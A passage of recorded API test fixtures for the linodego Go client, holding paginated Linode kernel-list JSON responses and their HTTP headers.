"label": "5.1.11-x86_64-linode127", "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", "version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118", "label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86_64-linode117", "label": "4.18.8-x86_64-linode117", "version": "4.18.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86_64-linode116", "label": "4.17.17-x86_64-linode116", "version": "4.17.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86_64-linode115", "label": "4.17.15-x86_64-linode115", "version": "4.17.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode114", "label": "4.17.14-x86_64-linode114", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode113", "label": "4.17.14-x86_64-linode113", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86_64-linode112", "label": "4.17.12-x86_64-linode112", "version": "4.17.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86_64-linode111", "label": "4.17.11-x86_64-linode111", "version": "4.17.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86_64-linode110", "label": "4.17.8-x86_64-linode110", "version": "4.17.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86_64-linode109", "label": "4.17.2-x86_64-linode109", "version": "4.17.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86_64-linode108", "label": "4.16.11-x86_64-linode108", "version": "4.16.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86_64-linode107", "label": "4.15.18-x86_64-linode107", "version": "4.15.18", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86_64-linode106", "label": "4.15.13-x86_64-linode106", "version": "4.15.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86_64-linode105", "label": "4.15.12-x86_64-linode105", "version": "4.15.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86_64-linode104", "label": "4.15.10-x86_64-linode104", "version": "4.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86_64-linode103", "label": "4.15.8-x86_64-linode103", "version": "4.15.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86_64-linode102", "label": "4.15.7-x86_64-linode102", "version": "4.15.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86_64-linode100", "label": "4.14.19-x86_64-linode100", "version": "4.14.19", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86_64-linode99", "label": "4.14.17-x86_64-linode99", "version": "4.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86_64-linode98", "label": "4.9.80-x86_64-linode98", "version": "4.9.80", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86_64-linode97", "label": "4.4.115-x86_64-linode97", "version": "4.4.115", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86_64-linode96", "label": "4.4.113-x86_64-linode96", "version": "4.4.113", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86_64-linode95", "label": "4.9.78-x86_64-linode95", "version": "4.9.78", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode94", "label": "4.14.14-x86_64-linode94", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode93", "label": "4.14.14-x86_64-linode93", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86_64-linode88", "label": "4.9.64-x86_64-linode88", "version": "4.9.64", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86_64-linode89", "label": "4.9.68-x86_64-linode89", "version": "4.9.68", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86_64-linode92", "label": "4.14.12-x86_64-linode92", "version": "4.14.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86_64-linode91", "label": "4.14.11-x86_64-linode91", "version": "4.14.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86_64-linode87", "label": "4.9.56-x86_64-linode87", "version": "4.9.56", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86_64-linode86", "label": "4.9.50-x86_64-linode86", "version": "4.9.50", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86_64-linode85", "label": "4.9.36-x86_64-linode85", "version": "4.9.36", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86_64-linode83", "label": "4.9.33-x86_64-linode83", "version": "4.9.33", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86_64-linode81", "label": "4.9.15-x86_64-linode81", "version": "4.9.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86_64-linode80", "label": "4.9.7-x86_64-linode80", "version": "4.9.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86_64-linode79", "label": "4.9.0-x86_64-linode79", "version": "4.9.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86_64-linode78", "label": "4.8.6-x86_64-linode78", "version": "4.8.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86_64-linode77", "label": "4.8.4-x86_64-linode77", "version": "4.8.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86_64-linode76", "label": "4.8.3-x86_64-linode76", "version": "4.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86_64-linode75", "label": "4.8.1-x86_64-linode75", "version": "4.8.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86_64-linode73", "label": "4.7.3-x86_64-linode73", "version": "4.7.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86_64-linode72", "label": "4.7.0-x86_64-linode72", "version": "4.7.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86_64-linode71", "label": "4.6.5-x86_64-linode71", "version": "4.6.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.3-x86_64-linode70", "label": "4.6.3-x86_64-linode70", "version": "4.6.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86_64-linode69", "label": "4.5.5-x86_64-linode69", "version": "4.5.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86_64-linode67", "label": "4.5.3-x86_64-linode67", "version": "4.5.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86_64-linode65", "label": "4.5.0-x86_64-linode65", "version": "4.5.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86_64-linode64", "label": "4.4.4-x86_64-linode64", "version": "4.4.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86_64-linode63", "label": "4.4.0-x86_64-linode63", "version": "4.4.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode61", "label": "4.1.5-x86_64-linode61", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode60", "label": "4.1.5-x86_64-linode60 ", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86_64-linode59", "label": "4.1.0-x86_64-linode59 ", "version": "4.1.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86_64-linode58", "label": "4.0.5-x86_64-linode58", "version": "4.0.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86_64-linode57", "label": "4.0.4-x86_64-linode57", "version": "4.0.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86_64-linode56", "label": "4.0.2-x86_64-linode56", "version": "4.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.1-x86_64-linode55", "label": "4.0.1-x86_64-linode55", "version": "4.0.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86_64-linode54", "label": "4.0-x86_64-linode54", "version": "4.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86_64-linode53", "label": "3.19.1-x86_64-linode53", "version": "3.19.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86_64-linode52", "label": "3.18.5-x86_64-linode52", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86_64-linode51", "label": "3.18.3-x86_64-linode51", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86_64-linode50", "label": "3.18.1-x86_64-linode50", "version": "3.18.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86_64-linode49", "label": "3.16.7-x86_64-linode49", "version": "3.16.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86_64-linode46", "label": "3.16.5-x86_64-linode46", "version": "3.16.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86_64-linode45", "label": "3.15.4-x86_64-linode45", "version": "3.15.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86_64-linode44", "label": "3.15.3-x86_64-linode44", "version": "3.15.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86_64-linode43", "label": "3.15.2-x86_64-linode43", "version": "3.15.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode42", "label": "3.14.5-x86_64-linode42", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode41", "label": "3.14.5-x86_64-linode41", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86_64-linode40", "label": "3.14.4-x86_64-linode40", "version": "3.14.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86_64-linode39", "label": "3.14.1-x86_64-linode39", "version": "3.14.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86_64-linode38", "label": "3.13.7-x86_64-linode38", "version": "3.13.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86_64-linode37", "label": "3.12.9-x86_64-linode37", "version": "3.12.9", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86_64-linode36", "label": "3.12.6-x86_64-linode36", "version": "3.12.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86_64-linode35", "label": "3.11.6-x86_64-linode35", "version": "3.11.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86_64-linode34", "label": "3.10.3-x86_64-linode34", "version": "3.10.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86_64-linode33", "label": "3.9.3-x86_64-linode33", "version": "3.9.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86_64-linode32", "label": "3.9.2-x86_64-linode32", "version": "3.9.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-x86_64-linode31", "label": "3.8.4-x86_64-linode31", "version": "3.8.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-x86_64-linode30", "label": "3.7.10-x86_64-linode30", "version": "3.7.10", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-x86_64-linode29", "label": "3.7.5-x86_64-linode29", "version": "3.7.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-x86_64-linode28", "label": "3.6.5-x86_64-linode28", "version": "3.6.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-x86_64-linode27", "label": "3.5.3-x86_64-linode27", "version": "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 3, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: body: '{"data": [{"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-x86_64-linode6", "label": "2.6.29-x86_64-linode6", "version": "2.6.29", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-x86_64-linode5", "label": "2.6.28.3-x86_64-linode5", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-x86_64-linode4", "label": "2.6.28-x86_64-linode4", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-x86_64-linode3", "label": "2.6.27.4-x86_64-linode3", "version": "2.6.27", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.16.38-x86_64-linode2", "label": "2.6.16.38-x86_64-linode2", "version": "2.6.16", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode1", "label": "2.6.18.8-x86_64-linode1", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-x86_64-linode26", "label": "3.5.2-x86_64-linode26", "version": "3.5.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub2", "label": "GRUB 2", "version": "2.06", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/direct-disk", "label": "Direct Disk", "version": "", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub-legacy", "label": "GRUB (Legacy)", "version": "2.0.0", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_32", "label": "pv-grub-x86_32", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml000066400000000000000000002215261455402072200335540ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": 